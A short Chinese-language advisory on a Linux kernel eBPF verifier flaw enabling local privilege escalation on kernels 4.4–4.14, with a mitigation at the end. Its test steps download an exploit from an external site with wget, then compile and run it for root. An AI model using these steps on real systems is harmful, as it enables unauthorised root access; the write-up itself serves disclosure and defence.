0x01 前言
该漏洞由Google project zero发现。据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。
0x02漏洞影响
Linux Kernel Version 4.14-4.4(影响Debian和Ubuntu发行版)
0x03 测试环境
ubuntu16.04 x64
0x04 测试步骤
1.提权exp下载地址:
http://cyseclabs.com/exploits/upstream44.c
2.cd切换到/opt目录下并下载exp:
cd /opt #前提看/opt是不是777权限,不然编译和执行不了exp
wget http://cyseclabs.com/exploits/upstream44.c
3.有的ubuntu没有安装gcc需要执行安装:
sudo apt-get install gcc
如果缺少一些编译组件,则需要安装lib插件
apt-get install libc6-dev
4.然后利用gcc进行编译
gcc -o exp upstream44.c
5.将exp进行更改为可执行权限
chmod +x exp
6.运行exp进行提权
./exp
0x05 漏洞修复
目前暂未有明确的补丁升级方案。 临时建议用户在评估风险后,通过修改内核参数限制普通用户使用bpf(2)系统调用:
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled